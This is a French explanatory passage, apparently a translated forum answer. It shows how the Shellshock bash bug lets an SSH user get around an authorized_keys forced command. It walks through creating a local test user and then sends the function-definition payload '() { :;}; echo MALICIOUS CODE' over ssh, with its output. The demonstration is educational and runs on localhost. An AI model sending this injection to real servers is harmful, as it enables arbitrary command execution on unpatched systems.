Un exemple où ceci peut être exploité est sur des serveurs avec une authorized_keys
commande forcée. Lors de l'ajout d'une entrée à ~/.ssh/authorized_keys
, vous pouvez préfixer la ligne avec command="foo"
pour forcer foo
l'exécution à chaque fois que la clé publique ssh est utilisée. Avec cet exploit, si le shell de l'utilisateur cible est défini sur bash
, ceux-ci peuvent en tirer parti pour exécuter des opérations autres que la commande à laquelle ils sont obligés.
Cela aurait probablement plus de sens dans l'exemple, alors voici un exemple:
sudo useradd -d /testuser -s /bin/bash testuser
sudo mkdir -p /testuser/.ssh
sudo sh -c "echo command=\\\"echo starting sleep; sleep 1\\\" $(cat ~/.ssh/id_rsa.pub) > /testuser/.ssh/authorized_keys"
sudo chown -R testuser /testuser
Ici, nous configurons un utilisateur testuser
, qui force toutes les connexions SSH utilisant votre clé SSH à s'exécuter echo starting sleep; sleep 1
.
Nous pouvons tester cela avec:
$ ssh testuser@localhost echo something else
starting sleep
Notez que notre commande ne s'exécute echo something else
pas, mais qu'elle starting sleep
indique que la commande forcée a été exécutée.
Voyons maintenant comment cet exploit peut être utilisé:
$ ssh testuser@localhost '() { :;}; echo MALICIOUS CODE'
MALICIOUS CODE
starting sleep
Cela fonctionne car sshd
définit la SSH_ORIGINAL_COMMAND
variable d'environnement sur la commande transmise. Ainsi, même s’il a été sshd
exécuté sleep
, et non la commande à laquelle je l’ai dit, à cause de l’exploit, mon code est toujours exécuté.